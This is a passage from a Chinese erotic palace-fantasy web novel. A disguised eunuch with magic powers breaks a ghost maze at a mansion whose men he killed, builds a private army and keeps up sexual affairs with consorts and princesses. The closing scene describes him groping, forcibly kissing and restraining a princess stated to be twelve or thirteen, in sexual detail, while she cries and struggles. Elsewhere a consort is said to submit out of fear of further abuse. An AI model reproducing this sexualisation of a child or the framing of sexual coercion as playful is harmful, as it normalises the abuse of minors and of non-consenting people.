来,神魂飘飘蕩蕩,不知自己在什幺地方,只有这俊秀少年略嫌霸道的
吻,吸引住了她整个心神。

二人唇舌交缠,李小民一面吸吮着她香滑的软舌,一面紧紧搂住娇
躯,手伸进她的华美宫装下面,一边抚摸光滑雪肤,一边慢慢探到酥胸之
上,握住萧淑妃温软滑腻的玉乳,轻轻抚摸揉捏。另一支手,也在她娇躯
上四下游走,耐心地占着她的便宜,渐渐摸上纤腰,也伸进了罗衫之中。

不知深吻了多久,耳边忽然传来一声娇呼,接着便是砰地一声,似乎
有什幺东西掉在地上,发出巨大的破碎之声。

二人如梦惊醒,慌忙分开,回头看去,却见青绫站在卧室门前,瞪大
眼睛,不敢置信地看着二人,绣鞋前方的地上,落着一些笔墨,还有一个
砚台,已经摔得粉碎。

她方才正要睡觉,忽然想起小民子自己回去也要多练字才好,因此才
找出些笔墨,还有自己最喜欢用的一方砚台,走出去要叫住小民子,把这
些东西送给他。

谁知刚找好东西,一出门,竟然看到小民子在与自己的母亲亲热,双
手还在她的身上摸来摸去,不由大惊,失手便将砚台摔破了。

李小民看着青绫,心知不好,想要解释,可是刚才的情景都已被她看
到,哪还有什幺可以辩解的,不由心中大急。

青绫的脸上,露出羞怒之色,掩面奔回了自己的卧室,砰地关上了
门。

李小民跑到门前,想要推门,可是又不知道进去以后说什幺好,只急
得在门前乱转,看着满面羞红、衣衫不整、头髮蓬乱的萧淑妃,不知该如
何是好。

萧淑妃神情惨澹,看着他,微微地歎息一声,垂首低声道:「你先回
去吧,我来好好劝劝她。」

李小民慌慌张张地一揖,张开嘴,却又不知说什幺好,只得轻歎一
声,走出门去,又回头道:「你别着急,先劝劝她,等她气消了,我会来
看你的。」

萧淑妃送出门来,闻言苦笑道:「这几日,你还是暂时不要来了,
我……我需要静一静。」

李小民一惊,凝目看向萧淑妃,却见她花容失色,眼神游离,似是对
自己刚才的越轨行为痛悔不已,羞惭满面。

在李小民的目光注视下,萧淑妃更是羞得无地自容,以长袖掩面,奔
入门去,再不敢多看这害人心乱如麻的小冤家一眼。

李小民无法,也只得长歎一声,转身离去,心情也不由烦乱起来。

走在宫墙之内,李小民轻舔嘴唇,感觉着萧淑妃留在那里的香甜味
道,心中又乱又喜,暗暗发誓,无论如何,一定要想尽办法,解决这件事
才好。

李小民漫步走到自己住所门前,惊讶地远远看到,真平公主正带着大
批宫女,守在自己门前,还在走来走去,一副焦急模样。

李小民心中有鬼,慌忙运起仙法中还不熟练的障眼术,把自己的皮肤
变得更加白皙,再努力压缩身体骨骼,让自己更矮一点,好让自己和李白
的形像差得更远。

他正在这边做着伪装,一个眼尖的宫女看到了他,惊喜地叫道:「公
主,他在那边!」

众宫人都转身来看,见李小民躲在远处,便都跑过来,围住李小民,
娇笑道:「可找到你了!」

满眼的美人缭绕,耳边充满了莺声燕语,李小民苦笑道:「各位大
姊,不知找我有什幺事?」

宫女们娇笑道:「不是我们找你,是公主殿下找你!」

真平公主也欣喜地走过来,伸手抓住李小民的肩膀,笑道:「你会捉
鬼,是不是?」

李小民搔搔头,吶吶地道:「也算是吧。虽然我祖传的仙法还没练到
家,不过个把两个鬼,还是伤不到我。」

真平公主拍手笑道:「那太好了!我嫂嫂的娘家舅舅,好像有鬼魅捣
乱,你去帮忙看一看好不好?」

公主的命令,李小民不敢不听,一边点头答应,一边暗想:「她的嫂
嫂是谁?啊!那岂不是太子妃的娘家舅舅,就是万子达他们家里?」

想到他们一家已经被自己屠了一遍,不由心中苦笑:「恐怕不是捣乱
那幺简单,那一家的男人,已经都被梳了一遍,恐怕没有剩下的了。」

真平公主这次来,本是听说了万家的事,又见太子妃哭哭啼啼,可怜
她不过,想起小民子会捉鬼,因此自告奋勇,来找小民子,让他帮忙解除
万家的危难。她已经去讨了皇后的旨意来,自己也趁空换上太子近侍的服
饰,带着李小民,出宫向万府而去。

坐在马车里面,李小民低着头,不敢说话不敢动,生怕被真平公主看
出什幺破绽。真平公主却是满怀好奇地看着他,惊歎世上竟有这幺相似的
人,除了皮肤白一点,个子矮一点,声音尖细一点,小民子简直和李白就
是一个模子倒出来的。

她忽然想起来一件事,立即抓住李小民的前袖,兴奋地叫道:「小民
子,你也姓李,认不认识一个叫李白的人?」

李小民吓了一跳,慌忙把头摇得跟拨浪鼓似的,打死也不承认自己认
识什幺李白。

真平公主仔细追问,直到确定小民子的李氏亲族中,没有叫李白的
人,失望地歎了一口气,鬆开手,忽然又想起来:「我也姓李,同姓不开
亲,若是父皇母后不许我嫁那李白,又该如何是好?」

既然被他占了便宜,自己就是他的人了,再也不能嫁旁人。真平公主
芳心纷乱,在车中怔怔地出神,为这件事发愁不已。李小民也乐得她不来
纠缠自己,低着头,闭目养神,不敢和她说话,免得惹来怀疑。

真平公主左思右想,终于忍不住问道:「小民子,你对同姓男女成
婚,有什幺看法?」

李小民正在打瞌睡,忽然听这一句,随口答道:「都什幺时代了,还
抱着这破规矩!只要不是近亲,结婚就结婚,有什幺了不起?」

他迷迷糊糊地抬起头,看到问话的是真平公主,不由一呆,慌忙陪笑
道:「现在表兄妹这样的近亲都能结婚,何况同姓?实在不行,让其中一
个改姓好了,又不费什幺事。」

真平公主听得眼前一亮,忽然想起史书上所载的一段历史:「前朝一
个刘姓皇帝,曾经想娶自己朝中一个刘姓大臣的女儿为妻,他弟弟刘义规
劝他同姓不得开亲,却被另外的侍臣反驳道,那刘姓大臣与他非是同宗,
只要祖宗不同,便娶无妨。因此那皇帝大悦,迎刘氏女入宫,并立为皇
后。同姓不开亲,也不过是说说罢了。听李白说,他是外地来的,生于极
北苦寒之地,好像叫什幺苏联地方的,只要他不是我朝皇室宗族,也就没
什幺了!何况在金陵又很少人认得他,到时真的让他改名换姓,不就成了
吗?」

想到这里,真平公主只觉豁然开朗,眼前一片光明,不由用力拍着李
小民的肩膀,欣喜笑道:「说得对,小民子,这次多亏你了!」

小民子乾笑着,抬手揉着被她拍痛的肩膀,心里暗道:「她这是什幺
意思,真的想嫁我吗?我这幺说,岂不是自找麻烦?」心下渐转苦恼。

二人各有心事,忽然马车一震,停了下来。

李小民下了车,看看已到万府门前,殷勤地伸手接引真平公主下车,
真平公主却不肯被这小太监碰到自己的尊贵玉体,挥手打开了他的手,自
己走下车来。

李小民心里发了几句牢骚,跟着她走到万府门前,却见府门紧闭,许
多士兵守在门前,不许人进入。

真平公主从怀中掏出一份手令,交给带头的将官。那将官一看手令是
太子亲笔写的,来人是太子近侍,慌忙行礼,对这二人不敢怠慢。

真平公主走到万府大门前,正要推门进去,那将官慌忙阻拦道:「且
慢!里面甚是古怪,我几个同僚进到里面,就再也没有出来!」

真平公主奇道:「他们不肯出来,进去找他们,不就好了吗?」

将官苦笑道:「若是能找出来就好了!我已经派了几十个兵丁进去,
都如泥牛入海一般,没有一个能回来报信的!」

真平公主吃了一惊,向后退了几步,看着那大门,讶道:「那现在该
怎幺办?」

将官摇头苦笑,李小民也低头装糊涂,只让真平公主一个人去寻思对
策。

真平公主想了想,想要小民子进去探路,忽然又想起:「他是妹妹认
的乾弟弟,看妹妹的样子,很是把他放在心上,若是他出了什幺事,只怕
妹妹不肯甘休!」

她转过头,向将官命令道:「再派几个士兵,进去探路!」

将官吃了一惊,虽然想要拒绝,可是太子近侍,他不敢得罪,只得唤
了亲兵来,命令道:「派一个人进去探路!」

亲兵们自己是不敢去的,又不敢违反将令,便揪了近处一个士兵,将
他推到门前,用力推开府门,将他推了进去。

真平公主看那士兵哭哭啼啼地走进府门,忽然想起一事,大声叫道:
「你在里面看到什幺,要快点回来报告,不要呆得太久了!」

将官在她身后摇头苦笑,知道这士兵恐怕要在里面呆上很久,要等他
来回报,只怕要等到天黑都未必能出得来。

府门中,浓雾重重,从外面看去,什幺也看不清楚。士兵走进去,霎
时被浓雾吞没,再看不出半点身形。

真平公主正看着那浓雾发怔,忽然看到万府的大门自己动了起来,轰
然关上,严丝合缝,像是从来都没有打开过的一样。

真平公主惊讶惧怕地等在门前,好久之后,仍不见那士兵出来,忍不
住叫将官再派了一个士兵进去探路。

再过了一盏茶时分,府门里仍没有动静,真平公主再不敢多说,回头
用央求的眼神看着李小民,期待他能想出办法来。

李小民看着她娇怯的目光,想起她在自己身下婉转承欢时,也曾用这
种眼神看着自己,不由心头一热,微笑道:「公主勿忧,我已经看出这迷
雾其中底细,现在已想出对策,当可一举而破!」

真平公主惊喜地叫道:「那太好了,你快点破去这鬼雾吧!」

李小民摇头道:「身在府外,难以破除迷阵。我只有进去府中,才能
破除妖法,将陷在里面的人救出来。」

真平公主面露惊色,叫道:「进去以后就会出不来,很危险的!而且
里面那幺大雾,谁知道里面会不会有鬼怪?」

想到雾中可能藏着好多吃人的鬼怪,真平公主不由娇躯发冷,忍不住
向小民子靠近了一步。

李小民摇头微笑道:「只要能让公主高兴,小人受这点危险,又算得
了什幺!」

真平公主惊讶地看着他,见那俊秀的面庞上,满是坚毅的表情,不由
又是感动,又是内疚,想想自己曾经那样对待小民子,现在他却为了自己
甘冒奇险,不由面现愧色,对小民子的义举暗暗感激不已。

小民子昂然微笑,大步走到府门前,带着一往无前的气势,用力推开
厚重的大门,迈步走了进去。

关门声在背后轰然响起,眼前虽是迷雾重重,李小民却能看清雾中的
景色,只见数十名士兵正在迷雾里没头苍蝇般地转来转去,却只能在丈余
之地中乱转,丝毫无法脱开阵法的迷惑,走着漫漫无尽的长路。几个身着
将领服饰的武将,已经坐倒在地,累得无法再走了。

李小民运起仙气,在心中呼唤,不一会,便见一个身穿破烂衣甲,看
上去有十五六岁的小鬼在空中飘来,飞到李小民面前,跪地叩拜,恭声
道:「小鬼林利,奉沙将军之命,在此守候,恭候主人大驾!」

李小民皱了皱眉,问:「别的人呢,都哪去了,怎幺还不撤开迷魂
阵?」

林利陪笑道:「主人容稟。沙将军和别的同伴已经把万府中值钱的东
西运光,离开了这里,回宫中去修炼灵力,只留小鬼在此看守,等待主人
下一步命令。」

李小民拍拍头,这才想起,自己只命令设下迷魂阵,却没有下令在搬
光财物之后再解开迷魂阵,让万家的女眷和前来拜访万府时不慎陷入迷魂
阵中的外人可以离开。

说起来倒还是自己不小心,李小民挥手笑道:「好了好了,不怪你,
把迷魂阵收了吧!对了,我看你长相伶俐,不如就跟着我,做个传令兵,
以后有什幺事,也好派你去通知沙将军他们。」

林利面露喜色,伏地叩拜,领下了这个任命。

想起自己经常要做一些不能让别人知道的事,为防这小鬼窥探自己隐
私,李小民命令他以后在自己身边听令,不可离得太远,也不可太近,基
本上在五十步到一百步之间便可以了。

这一百步,便是李小民对鬼奴传心术的最大距离。超过了一百步,以
李小民现在的能力,再无法召唤鬼卫来听令于自己。

林利再拜接令,起来站在府中大道上,挥舞着一双赤裸鬼臂,口中念
念有词,便见迷雾渐渐变淡,最后消于无形。

陷身于迷阵中的将士们眼前千奇百怪的幻景陡然消失,明亮的万府中
的道路、建筑出现在眼前。众人茫然四顾,不知身在何地。

「无量天尊!」一声长吟从上空传来,众将士举头看去,却见一个俊
美少年,身穿太监服饰,高高地站在一座楼阁的顶端,手捏法诀,面色凝
重,沉声道:「众位将军,不必惊慌,贫道已破除迷阵,众将军可以暂时
退出府中,让外面的各位军爷进来救治府中诸人。」

众将士呆呆地看着他,但见这小太监高高地站在楼顶,衣袂在风中飘
飘扬扬,一副仙风道骨的模样,不由又惊又喜,慌忙扶起累倒在地上的将
军和同伴,互相搀扶着走出了万府。

府外的士兵们看到他们出来,都不由惊喜地大声欢呼,上前接住众
人,将他们扶下去治疗休养。

一直守在府外的带头将官带着部下沖进府中,按照李小民的命令,到
各房去救治万府中人。

真平公主也跟着众人走进府门,看着李小民站在高处,飘然若仙,阳
光射在他白皙的脸上,肌肤晶莹如玉,不由又惊又佩,心中暗道:「真好
的皮肤,不光比李白要好,就是我,只怕也及不上他!」

低下头,真平公主不由含羞想道:「他这幺有本领,又生得如此俊
秀,只可惜是个太监,否则的话,不知要迷死多少女孩!」

想到这里,真平公主不由心下暗自歎息,心中充满了对小民子悲惨命
运的同情和惋惜。

远处忽然传来了一阵哭嚎之声,却是被困的女眷们发现了被杀的男子
和家奴们。那些女眷和奴婢都已困得久了,精神不振,又突然看到亲人被
人,有许多人硬生生地哭昏了过去。

李小民心下大感无趣,想起自己是造成惨案的罪魁祸首,虽然这是为
了自保,而万氏父子和那些恶奴也是罪有应得,可是一旦看到这些女子痛
哭的模样,还是浑身不自在,便找了个藉口,躲了出去。

坐在马车里面,李小民呆呆地发怔。忽然听到脚步声响起,真平公主
走上车来,拍着他的肩膀,两眼闪闪发光地看着他,微笑道:「小民子,
你今天干得实在是太好了!据我看,比龟山派的那些法师也不差!」

所谓龟山派,就是上次来皇宫中驱鬼捉妖的法师所在的门派,门派之
主数百年来一直是南唐的护国法师,李小民也对那个门派有些好奇,趁机
问道:「公主,龟山派的法师们怎幺没有来驱鬼,反倒叫我来?」

真平公主摇头歎息道:「谁知道是怎幺回事,龟山派的护国法师失蹤
三年了,他的师弟们也一个个地不知道去了哪里。上次来皇宫的,是他的
弟子和徒孙们,结果也是死伤惨重,现在更是把道观大门一关,里面的人
都不知跑到了哪里。兴许是觉得上次的事丢了脸,不好意思在金陵呆下去
了?」

李小民心下奇怪,传承了数百年的道家门派,如何这般轻易便消失
了?

他还未及多想,真平公主便已拍着他的肩膀,笑道:「小民子,你这
幺有本事,在宫里真是委屈你了!你现在立了这样的大功,这样吧,你想
要什幺,儘管说出来,我都会赏给你!」

李小民心里嘀咕:「把你自己赏给我做奴隶吧,别的我也不多要
了。」

这样的话,当然不能在嘴上说出来,他只是乾笑道:「公主说哪里话
来,小人做的都是应该做的事,公主只要高兴,便是小人天大的福份,哪
还敢要什幺赏赐?」

真平公主见他这样谦虚,心里更是高兴,笑道:「不如这样,以后你
要是看上哪个漂亮宫女,我去稟告母后,让她做主为你们成婚,让你也能
享受到天伦之乐,如何?」

看着她亮晶晶的眼眸,听着她真挚的语声,李小民乾笑着,含羞低下
了头。

真平公主见他害羞,更觉有趣,开始盘问他喜欢哪种类型的女孩。马
车慢慢前行,真平公主一路说些闲话逗弄着他,一直回到宫中,才放他回
去休息。

那支巡逻队当街被杀,以及万府发生的血案,让所有人都为之震惊。
而「鬼打墙」缠绕了万府两天,让所有人都猜出,这事只怕与鬼魅做怪有
关。这件事慢慢传开之后,金陵满城惊怖,夜间都很少有人敢于上街,生
怕遇到什幺无头恶鬼之类的怪东西。

除此之外,一直护卫着金陵的龟山道派的法师们出奇地失蹤了,没有
一个人留在道观之中。这让金陵更是人心惶惶,不知道下一步,将会发生
第三章
欢宴

深夜之中,一个黑影从金陵城的城墙上坠下来,举手一抖,收起绳
子,向城外的黑暗之处走去。

在城外一片密林中,他接过一个青竹帮众手中的马缰,翻身上马,向
远方宾士。

这匹马,也是一匹骏马,在黑暗中的城外大道上大步奔行,直向正东
而去。

宾士了许久,骏马在一座农庄前停了下来。

庄上的了望哨塔处,有人在警觉地大声询问口令,那人朗声回答,声
音清脆,却是少年的声音。

庄门缓缓打开,那少年驰入庄中,大门不多时,又再度关上。

在庄内呆了两个时辰,那少年才拍马从庄中出来,循来路驰向城池。

夜风拂在他的脸上,少年的脸上,满是坚毅的表情。

刚才他已经把自己辛苦抢来的财物送了一些到农庄中,交给了驻守在
这里的杜光,作为军费,并交代他要多弄些肉类给士兵们吃,一定要把他
们养得壮壮的。

同时,他还让杜光把庄中数百名私兵都从被窝中揪了出来,逼着他们
紧急集合,并交代杜光多做这样的夜间紧急集合,让他们适应突发状况,
在有敌军夜袭时,便可迅速应对,不致有损失。

对于私兵的训练,李小民已经写出了详细的计画书,命令杜光一定要
每天带着士兵们跑上几十里,把每个人的耐力都练到十足,而士兵修炼的
武艺,由李小民按照天书所载的粗浅功夫,亲笔写出的简易刀法、拳法作
为教材,由杜光和一批武师先练好,再转授士兵们。

为了让私兵们都忠于自己,李小民下令设置教导员,让他们每天都去
找士兵们谈心,告诉他们,是李大人让他们吃饱穿暖,每天都有肉吃,一
定要忠于李大人,将来才有飞黄腾达的机会。

李小民相信,按照这套科学的训练方法,假以时日,自己的私兵,必
然会成为南唐乃至整个天下最精锐的部队之一,成为自己争霸天下的精锐
力量!

因为和萧淑妃的事,李小民不好意思再去找青绫,因此时常去找长平
公主,求她教自己写毛笔字。长平公主也喜欢他俊美可爱的模样,对他这
样有上进心而暗自欢喜,常常手把手地教他写字。

白天,李小民便在长平公主那里学写字,时常能碰到真平公主来找她
玩耍。在众多姊妹之中,这两个姊妹倒是感情甚好,完全看不出有为自己
的兄弟争夺皇位的意思。

为了避免被真平公主看破自己的伪装,李小民在宫里一直挤着嗓子,
学着其他的小太监的声音说话。到了夜里,却又以李白的身份,经常与真
平公主在宫外私会,那时他便以仙法将自己拔高几公分,并把皮肤变得微
黑,声音也粗旷豪放许多,让白天刚见过他的真平公主也没办法认出他便
是太监小民子,反倒经常在床上和他交欢时叽叽喳喳地说起宫里有个小太
监长得很象他的趣事,弄得李小民满心的尴尬,却也只能陪着乾笑,不敢
让她在自己的表情上看出什幺端倪。

云妃那里,他也经常会去,有时把她和她的表姊放在一起,三人同
床,寻欢作乐。有的时候,他还会把兰儿也叫上,一同登榻寻欢。

经过几番整治之后,云妃现在已经是俯首贴耳,不敢稍有违逆他的意
思,在床上即使有什幺羞耻之事,她也会抢着去服侍他,只怕惹恼了小民
子,再对她进行难以忍受的淩虐。

看她这幺听话,李小民也不好意思再折磨她,对她也体贴了不少。而
辰妃对他的身体更是迷恋,经常整夜厮缠着他,一直寻欢直到天明。

有的时候,李小民也会到御膳房去巡视。那些太监们把他记得的那些
菜式都一一做了出来,经过多次的试验,味道一次比一次好,常能吃得李
小民把舌头都差点咽到了肚子里面。而皇后的寿诞就快要到了,整个御膳
房都摩拳擦掌,一定要在那一天,做出最好吃最精美的菜式,让那一天的
宴席,成为宫中所有人都传颂的美馔佳餚。

陈德修负责在金陵城开办的酒楼,已经开张了。由于宫中御膳房的技
术支援,酒楼很快便打响了知名度,顾客络绎不绝,为李小民带来了滚滚
的财源。现在,陈德修正準备开办酒楼分号,让他们能赚到的钱更加上几
倍。

由于在万府中收入丰厚,再加上酒楼中的固定收入,李小民也再懒得
去做什幺小说印刷的事。毕竟自己的毛笔字写得太差,如果让自己写小
说,实在是浪费时间。有这时间,他宁可多练一阵仙术,或是以几位美女
为鼎炉,练那双修的仙法,以此来提高自己的仙力,将来好有自保之力。
不过,为了自己苦心想出的出书发财大计不至于一切成空,他还是打着精
神,给那些雇来的书生们讲了一些有趣的故事,试探着出了几本书。虽然
不能象某些网站和出版社那样赚那幺多钱,却也不会差上多少。

不知道为什幺,他最近总是心神不宁,远望东方,预感到似乎会有什
幺事情会发生。为了应付可能会到来的危险,他昼夜苦练仙术,即使是在
床上抱着几位美女那如玉般的娇躯,也不忘时刻修习双修之法。而在闲暇
之时,他也常常去废殿中去探望一直在那里修炼的幽儿、风霜二女、沙曾
将军和三百鬼卫,希望他们能快点吸收掉吴帝留下的庞大灵力,成为自己
最强的一支战力。

在这样的修炼和等待之中,皇后的寿辰,渐渐地接近了。

黑暗之中,李小民赤身裸体地躺在床上,轻轻地喘息着。在他身边,
是一个同样一丝不挂,成熟性感的诱人娇躯。

喘息半晌,那美女扑在李小民身上,一边伸出玉手挑逗着他的欲望,
一边含着他的耳垂,含浑不清地昵喃道:「好弟弟,你在想些什幺?」

李小民揽住她纤细的腰肢,一边抚摸她惹火的性感娇躯,一边沉吟
道:「我在想,我总不能在宫里呆一辈子,得早做打算才好。」

高素娥幽幽地歎息一声,玉腿抬起来放在他的身上,缠住他的双腿,
轻声道:「不错,你早晚是要出宫去的,不然便会有麻烦。可是你走了以
后,就苦了姊姊了。」

李小民摇头一笑,问道:「上书房是你管的吧?」

高素娥点点头,道:「我倒是可以指挥在那里打扫卫生和值夜的宫女
太监,不过服侍陛下读书的事,就不是我能插手的了。」

李小民也知道陪皇帝读书的都是宫中太监总管派人去做的,沉吟道:
「你能不能安排我去上书房看看里面的书和奏摺?」

听到这个要求,高素娥陡然一惊,抬起身子来,定睛看了他半晌,幽
幽地歎息道:「原来你还是别国的奸细,混入宫中,来探听我大唐军情
的!」

李小民看着她抬起的玉体,那一对丰满诱人的玉乳在面前晃来晃去,
忍不住伸手握住,一边揉捏,一边摇头笑道:「不要乱猜!象北赵和陈国
这样的国家,哪有这种能力,能驱使我替他们卖命?」

高素娥在他熟练的动作下呻吟着,一边思索着他话中的含义,忽然听
到背后有声响,不由大惊回头,生怕是哪个不长眼的宫女进来,撞破了自
己的好事。

烛光摇曳,映在桌案之上。却见那茶壶正飘浮在半空中,向桌上的茶
杯倒着茶。

高素娥瞪大了眼睛,以为自己的眼睛花了。可是当那茶杯也飘浮起
来,直飞向自己这边,一直到自己面前飞停下,高素娥这才相信自己的眼
睛,张开嘴,便要大声惊叫。

李小民一把捂住她的嘴唇,将惊呼化为含混不浑的呻吟,抬手接过茶
杯,喝了一口,随即递还给飘在空中的月娘,心中意念传去,让她再倒一
杯过来。

高素娥呆呆地看着茶杯在空中飘来飘去,心中震骇莫名,转头看向小
民子,颤声道:「好兄弟,你真的会仙术,太厉害了!」

李小民有点得意地微笑道:「也没有什幺,这是最简单的一种,没什
幺威力,让姊姊见笑了。」

高素娥抱住他赤裸的身体,玉手上下抚摸,讚歎道:「好兄弟,你既
然有这等本领,为何还要留在宫里,何不出宫去,做一番大事业?」

李小民微笑道:「我留在宫里,一面是在练习仙术,以待大成;另一
个原因,却是想要待机而动,只等天下一乱,便要成就一番事业。」

他伸手揽住身边的性感美女,沉吟道:「北赵与陈国对我大唐虎视眈
眈,又是盟国,随时可能侵入大唐。而皇帝现在的样子,你也看见了,根
本就没什幺进取心,只怕军队是一触即溃,若被北赵攻入都城,你又该怎
幺办呢?」

他心里微苦,想到萧淑妃、辰妃、云妃,几位公主,还有可爱的兰
儿,若到城破国亡那一天,她们的命运,又当如何呢?

因此,自己的计画,必须尽快实施,不论三百鬼卫是否能赶得及修炼
成功,自己总得有足够的力量,来保护自己的女人!

高素娥看着他凝重的脸色,感觉到他心情的变化,不由一呆,看向他
英俊面庞的目光,也渐渐变得炽热。

李小民用低沉的声音,继续道:「因此,我已经在宫外建立了一点根
基,可是还需要了解天下大势,以随机应变。若真的有大唐破灭的那一
天,我也好保护你们的安全,并趁机起事,于乱中开创一番基业!」

高素娥惊异地看着这未曾完全长大的少年,听着他淡淡的语声,感觉
到他满心的豪情壮志,眼中的爱恋之意,越来越浓。

既然已与他合体,在宫中犯下大罪,自己和他便已经是同舟共济,谁
也不能独自逃生。她温软的玉手,紧紧握住李小民的手掌,低下头,在他
的唇上轻轻一吻,在他耳边轻轻地道:「我主,你要什幺,素娥都会替你
去做。只盼你真的能象你说的那样,在乱世中开创一番基业,让妾身一片
苦心,不至付诸东流。」

李小民微笑着,翻身将这成熟美女压到了身下,心情大好之下,兴致
再起,狂烈地动作着,挑逗着她的欲望,与她再度携手攀上情欲的高峰。

上书房中,一片寂静。

此时已经到了深夜,四处一片静悄悄的。只有一个小太监坐在桌案之
前,在烛光摇曳之下,专心地研读着堆积如山的奏摺和与国内现状有关的
各种机密资料。

看了许久,他终于放下手中奏摺,轻歎一声,对南唐的现状忧心不
已。

北赵已经是咄咄逼人,自赵光和南唐的谈判破裂回国之后,北赵大军
便已渐渐调向边界,而陈国也相应而动,在另一边的边界上布设重兵,很
有可能一同起兵,自两个方向同时攻击南唐疆界。

本来南唐亡不亡不关李小民的事,他又不是唐人,犯不着爱这个国
家。只是宫中还有这幺多让他牵挂的美人,若是国破家亡,美人只怕也要
似凋零残红,任由风吹雨打,红颜命薄了。

他正在思量该如何採取下一步对策,忽然听到在上书房的另一个房间
里面,传出了轻轻的咳嗽声。

李小民大惊,他这次来,是高素娥帮他安排的,一切都已布置妥当,
不会有什幺人来打扰他在这里看奏摺和机密资料。怎幺那里还会有人?

他蹑手蹑脚地走到另一个房间的门口,小心地向里面看,却见里面有
一个小太监,正在稟烛夜读,看着另外一部分奏摺。

李小民心里明白,这个小太监一定是从另一个门进来的,因此才没有
看到自己。不过,现在李小民的身份是为上书房守夜的唯一的太监,如何
还会有一个小太监出现在这里?

李小民决定履行自己的作为守夜值班者的职责,他整了整衣冠,倒背
双手,缓步走到那间屋中,低头打量着那个小太监。

他这幺庄重地走过来,那个小太监竟然没有发现,仍是专心致志地看
着奏摺,时而皱眉摇头,似是在为什幺事发愁。

李小民心里暗暗称奇,这个小太监怎幺和自己刚才一样,难道也是在
为南唐的局势在忧心忡忡幺?

借着烛光,李小民仔细瞧去,但见这小太监年约十二三岁的模样,眉
清目秀,肌肤若雪,樱唇红润,看上去倒像是个女孩。

李小民现在已经不再是前世那个可怜的处男,对女孩子的了解要远超
过一般人,一眼便看出这小太监像是个女孩装扮,可是她身穿的衣服过于
宽大,让李小民看不清她的胸部是否比男孩高一些,一时好奇,从背后伸
过手去,抱住了她,一双色手,扣住了她酥胸上的两个小馒头。

甫一入手,李小民不由倒吸了一口凉气,暗自讚歎。这小太监果然是
个女孩,而且发育得还很不错,才十二三岁,酥胸就已经不比真平公主
小,而且握在手里,富有弹性,即使隔着衣服,也能感觉到那柔滑的滋
味,让李小民握了又握,不忍放开。

他在这里享受着良好的手感,被他摸的女孩却是大吃一惊,失声叫了
出来。声音清脆,便似出谷黄莺一般。

她回过头,惊怖地看着身后穿着太监服饰的少年,正在眯着眼睛享受
手上的感觉,又羞又怒,抬起脚来,狠狠一脚,跺在李小民的大脚趾头
上。

李小民「嗷」地一声大叫,向后飞退,倒在一把椅子上面,痛得眼泪
滚滚,指着那女孩怒斥道:「你怎幺可以这样!我不过随随便便摸上一
把,你就弄得人家这幺痛!」

那美貌女孩见他倒打一靶,气得泪水都快流下来,指着李小民,说不
出话来。

李小民坐在椅子上,抱着脚雪雪呼痛,一面呻吟道:「你好大胆子,
竟敢闯到上书房来看奏摺,我身负守卫之责,来阻止你,你竟敢动粗!这
事要让皇上知道,只怕要一顿板子,打得你屁股开花!」

他心里也明白,敢在这时候来偷看奏摺的,如果不是敌国的奸细,就
是有大靠山大背景的人。看那女孩这幺小,稚气未脱,却能闯过守卫来到
这里,应该不是奸细,必然大有来历,自己现在是个小太监,得罪不起。
因此先声夺人,先唬住她再说。

那女孩听到皇帝会生气,脸上果然现出惊慌之色,随即愤愤地瞪着李
小民道:「父皇知道也没什幺,倒是你,竟敢非礼我,一定会被内事房打
死!」

李小民心里捉摸:「到底是哪个房的公主,这幺大胆子,扮成小太监
来看奏摺?」嘴上却不肯示弱,笑道:「我烂命一条,倒也不怕。只是你
被一个太监摸到了咪咪,让人知道,你还有脸见人吗?」

女孩脸色大变,又羞又愤,怒视着这厚颜无耻的小太监,不知道该拿
他怎幺办才好。

李小民脚痛渐轻,站起来昂首微笑,色迷迷地看着这位小公主,一步
步地逼近,看着她的脸色变得惊惶,突然伸手抱住她,伸嘴在她脸上嘴上
乱亲,一面低声叫道:「反正明天要被人打死,乾脆多占点便宜,免得死
了也吃亏!」

小公主一面被吓得低声尖叫,一面感觉着他的色手在自己身上乱摸,
弄得自己浑身发热,又怕又怒,感觉到他的手就要摸到难以忍受的地方,
慌忙叫道:「停下来!我不告发你就是了,你快放手!」

李小民又再多摸了几把,恋恋不捨地鬆开手,自己坐到椅子上,却仍
抱着女孩,让她坐在自己腿上,笑道:「你叫什幺名字,是哪一位公主
啊?」

那女孩努力挣扎,却扛不过他的巨力,忍不住抽泣道:「我叫安平,
你快放开我!」

李小民眉头一皱,想起曾经听人说起过这位有名的聪慧公主,勉强笑
道:「原来是安平公主,皇后娘娘的心肝宝贝,真平公主和太子殿下的亲
妹妹!别担心,我只是抱一会,享受一下抱住公主的乐趣就会放开,何况
我是个太监,难道能做什幺坏事吗?」

安平公主倒也不大懂男女之事,想想他是个太监,必然不会玷污自己
清白,心下稍微安定了一些,突然惊叫道:「咦,你腿上硬硬的是什幺,
硌得我怪痛的?」

李小民脸色微变,身子移了移,让她温软的香臀坐在自己的大腿上,
避开当中的要害位置,心中暗道:「这都不知道,真是个小女孩!」

不过这样的小女孩,在这个时代,明媒正娶地嫁人做了母亲的都有。
李小民抱着这香软的美少女躯体,也不捨得放开,便把话岔开,笑道:
「你刚才在看什幺东西,深夜跑到这里来,是为了什幺?」

安平公主见这小太监比自己只大一二岁左右,倒也不是很害怕,只怕
他再在自己身上乱摸,又挣扎不开,只得用话引开他的注意力,道:「我
想知道我大唐的形势,因此来看上一看,扮成这个样子,是怕引人注
意。」

李小民笑嘻嘻地道:「喔,那你发现了什幺?」

安平公主皱起眉头,忧虑地道:「北赵正在调兵遣将,只怕几个月
内,便要对我大唐发起进攻了。」

李小民摇头道:「没那幺严重,晋国还在北边给北赵施加压力,他们
一时半会腾不出手来!」

安平公主「咦」了一声,回头看了这紧紧抱住自己的小太监一眼,讶
道:「你怎幺会知道这幺多?」

李小民笑着掩饰道:「在上书房呆了这幺久,没吃过猪肉也见过猪
跑,当然知道一点。」

安平公主平时没有什幺人跟她讨论这些问题,一见这小太监居然对国
家大事有点研究,顿时来了兴趣,和他探讨道:「据我看,晋国只怕无法
给北赵带来多少麻烦,只要辽国的契丹人南侵,晋国必然无法南顾,那时
北赵或是与契丹人瓜分晋国,或是与陈国趁机攻击我大唐,都会大有好
处。」

李小民皱着眉,一边小心地偷偷摸她的咪咪,一边沉吟道:「可是契
丹人不是晋国的宗主国吗,为什幺要侵入晋国?」

安平公主对政事最是用心,已经沉浸在对国事的讨论之中,没有注意
到李小民的双手在做些什幺,笑道:「不是这样。自从晋国的石敬塘死
后,他儿子继位,晋国就不再敬契丹为宗主,因此辽国皇帝很生气,说不
定哪天就会南侵。若是北赵再派使者去,约定南侵,辽国就会派兵南下
了!」

李小民一边隔着衣衫摸着她细细美腿上的柔嫩肌肤,一边摇头歎息
